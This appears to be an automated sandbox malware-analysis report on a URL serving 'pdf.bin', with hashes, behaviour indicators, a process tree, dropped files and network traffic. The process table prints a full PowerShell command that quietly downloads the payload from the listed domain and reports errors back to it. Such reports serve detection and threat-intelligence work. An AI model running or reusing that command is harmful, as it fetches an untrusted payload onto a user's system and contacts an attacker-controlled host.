| URL: | https://varendot.com/pdf.bin |
| Full analysis: | https://app.any.run/tasks/4fa8b3be-1d91-462c-a285-f5567fa6fd25 |
| Verdict: | Malicious activity |
| Analysis date: | April 08, 2025, 18:22:44 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Indicators: | |
| MD5: | C476AEBC72AB3EA6B67EE17E39479D3B |
| SHA1: | 637995992EC89EACD9926E9CAEBE4873B768B825 |
| SHA256: | F6628FAF48F1C23A9BDF65EC4DDE87325A69A362C389890C1B087FCD729180CB |
| SSDEEP: | 3:N8gu8RLKu6:2x8RLKp |
MALICIOUS
No malicious indicators.SUSPICIOUS
Manipulates environment variables
- powershell.exe (PID: 1132)
Hides errors and continues executing the command without stopping
- powershell.exe (PID: 1132)
Downloads file from URI via Powershell
- powershell.exe (PID: 1132)
Starts POWERSHELL.EXE for commands execution
- cmd.exe (PID: 736)
Base64-obfuscated command line is found
- cmd.exe (PID: 736)
BASE64 encoded PowerShell command has been detected
- cmd.exe (PID: 736)
INFO
Application launched itself
- firefox.exe (PID: 4976)
- firefox.exe (PID: 5204)
Manual execution by a user
- cmd.exe (PID: 736)
Reads the software policy settings
- slui.exe (PID: 1300)
- slui.exe (PID: 2740)
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 1132)
- powershell.exe (PID: 7380)
Disables trace logs
- powershell.exe (PID: 7380)
Checks proxy server information
- slui.exe (PID: 2740)
- powershell.exe (PID: 7380)
Remote server returned an error (POWERSHELL)
- powershell.exe (PID: 7380)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
152
Monitored processes
19
Malicious processes
0
Suspicious processes
2
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 736 | "C:\WINDOWS\system32\cmd.exe" | C:\Windows\System32\cmd.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 744 | C:\WINDOWS\System32\rundll32.exe C:\WINDOWS\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding | C:\Windows\System32\rundll32.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1132 | powershell.exe $ProgressPreference="SilentlyContinue"try { Invoke-WebRequest -Uri "https://varendot.com/pdf.bin" -UseBasicParsing -OutFile "$env:TEMP/pdf/file.bin"} catch { $errorMessage = $_.Exception.Message Invoke-WebRequest -Uri 'https://varendot.com/lenCatch.txt' -UserAgent $errorMessage exit 1} | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1300 | "C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent | C:\Windows\System32\slui.exe | SppExtComObj.Exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Activation Client Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2740 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | svchost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4756 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4976 | "C:\Program Files\Mozilla Firefox\firefox.exe" https://varendot.com/pdf.bin | C:\Program Files\Mozilla Firefox\firefox.exe | firefox.exe | ||||||||||||
User: admin Company: Mozilla Corporation Integrity Level: MEDIUM Description: Firefox Version: 123.0 Modules
| |||||||||||||||
| 5204 | "C:\Program Files\Mozilla Firefox\firefox.exe" "https://varendot.com/pdf.bin" | C:\Program Files\Mozilla Firefox\firefox.exe | — | explorer.exe | |||||||||||
User: admin Company: Mozilla Corporation Integrity Level: MEDIUM Description: Firefox Exit code: 0 Version: 123.0 Modules
| |||||||||||||||
| 5408 | "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2092 -parentBuildID 20240213221259 -prefsHandle 2084 -prefMapHandle 2072 -prefsLen 31031 -prefMapSize 244583 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {efa0b2ba-ff55-4a91-b03f-871e16d0bfb8} 4976 "\\.\pipe\gecko-crash-server-pipe.4976" 1bc6fa7f510 socket | C:\Program Files\Mozilla Firefox\firefox.exe | — | firefox.exe | |||||||||||
User: admin Company: Mozilla Corporation Integrity Level: MEDIUM Description: Firefox Version: 123.0 Modules
| |||||||||||||||
| 6048 | C:\WINDOWS\system32\SppExtComObj.exe -Embedding | C:\Windows\System32\SppExtComObj.Exe | — | svchost.exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: KMS Connection Broker Exit code: 0 Version: 10.0.19041.3996 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
22 827
Read events
22 826
Write events
1
Delete events
0
Modification events
| (PID) Process: | (4976) firefox.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Mozilla\Firefox\DllPrefetchExperiment |
| Operation: | write | Name: | C:\Program Files\Mozilla Firefox\firefox.exe |
Value: 0 | |||
Executable files
0
Suspicious files
164
Text files
28
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 4976 | firefox.exe | C:\Users\admin\AppData\Local\Mozilla\Firefox\Profiles\9kie7cg6.default-release\startupCache\scriptCache-current.bin | — | |
MD5:— | SHA256:— | |||
| 4976 | firefox.exe | C:\Users\admin\AppData\Local\Mozilla\Firefox\Profiles\9kie7cg6.default-release\startupCache\scriptCache-child-current.bin | binary | |
MD5:C95DDC2B1A525D1A243E4C294DA2F326 | SHA256:3A5919E086BFB31E36110CF636D2D5109EB51F2C410B107F126126AB25D67363 | |||
| 4976 | firefox.exe | C:\Users\admin\AppData\Local\Mozilla\Firefox\Profiles\9kie7cg6.default-release\startupCache\urlCache-current.bin | binary | |
MD5:297E88D7CEB26E549254EC875649F4EB | SHA256:8B75D4FB1845BAA06122888D11F6B65E6A36B140C54A72CC13DF390FD7C95702 | |||
| 4976 | firefox.exe | C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\9kie7cg6.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm | binary | |
MD5:B7C14EC6110FA820CA6B65F5AEC85911 | SHA256:FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB | |||
| 4976 | firefox.exe | C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\9kie7cg6.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite | — | |
MD5:— | SHA256:— | |||
| 4976 | firefox.exe | C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\9kie7cg6.default-release\cookies.sqlite-shm | binary | |
MD5:B7C14EC6110FA820CA6B65F5AEC85911 | SHA256:FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB | |||
| 4976 | firefox.exe | C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\9kie7cg6.default-release\prefs-1.js | text | |
MD5:2C99A16AED3906D92FFE3EF1808E2753 | SHA256:08412578CC3BB4922388F8FF8C23962F616B69A1588DA720ADE429129C73C452 | |||
| 4976 | firefox.exe | C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\9kie7cg6.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-shm | binary | |
MD5:B7C14EC6110FA820CA6B65F5AEC85911 | SHA256:FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB | |||
| 4976 | firefox.exe | C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\9kie7cg6.default-release\sessionCheckpoints.json | binary | |
MD5:EA8B62857DFDBD3D0BE7D7E4A954EC9A | SHA256:792955295AE9C382986222C6731C5870BD0E921E7F7E34CC4615F5CD67F225DA | |||
| 4976 | firefox.exe | C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\9kie7cg6.default-release\prefs.js | text | |
MD5:2C99A16AED3906D92FFE3EF1808E2753 | SHA256:08412578CC3BB4922388F8FF8C23962F616B69A1588DA720ADE429129C73C452 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
26
TCP/UDP connections
83
DNS requests
119
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
4976 | firefox.exe | POST | 200 | 184.24.77.45:80 | http://r10.o.lencr.org/ | unknown | — | — | whitelisted |
7340 | SIHClient.exe | GET | 200 | 88.221.169.152:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
2924 | SearchApp.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D | unknown | — | — | whitelisted |
5496 | MoUsoCoreWorker.exe | GET | 200 | 23.53.40.176:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
4976 | firefox.exe | GET | 200 | 34.107.221.82:80 | http://detectportal.firefox.com/canonical.html | unknown | — | — | whitelisted |
4976 | firefox.exe | POST | 200 | 184.24.77.45:80 | http://r11.o.lencr.org/ | unknown | — | — | whitelisted |
4976 | firefox.exe | GET | 200 | 34.107.221.82:80 | http://detectportal.firefox.com/success.txt?ipv4 | unknown | — | — | whitelisted |
4976 | firefox.exe | POST | 200 | 184.24.77.45:80 | http://r11.o.lencr.org/ | unknown | — | — | whitelisted |
4976 | firefox.exe | POST | 200 | 184.24.77.45:80 | http://r10.o.lencr.org/ | unknown | — | — | whitelisted |
4976 | firefox.exe | POST | 200 | 184.24.77.45:80 | http://r10.o.lencr.org/ | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5496 | MoUsoCoreWorker.exe | 23.53.40.176:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
4976 | firefox.exe | 169.150.247.37:443 | varendot.com | — | GB | whitelisted |
4976 | firefox.exe | 34.107.221.82:80 | detectportal.firefox.com | GOOGLE | US | whitelisted |
4976 | firefox.exe | 34.117.188.166:443 | contile.services.mozilla.com | — | — | whitelisted |
4976 | firefox.exe | 142.250.186.170:443 | safebrowsing.googleapis.com | — | — | whitelisted |
4976 | firefox.exe | 34.107.243.93:443 | push.services.mozilla.com | — | — | whitelisted |
4976 | firefox.exe | 5.9.98.45:443 | fonts.bunny.net | — | — | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
varendot.com |
| unknown |
detectportal.firefox.com |
| whitelisted |
prod.detectportal.prod.cloudops.mozgcp.net |
| whitelisted |
varendot.b-cdn.net |
| whitelisted |
contile.services.mozilla.com |
| whitelisted |
spocs.getpocket.com |
| whitelisted |
prod.ads.prod.webservices.mozgcp.net |
| whitelisted |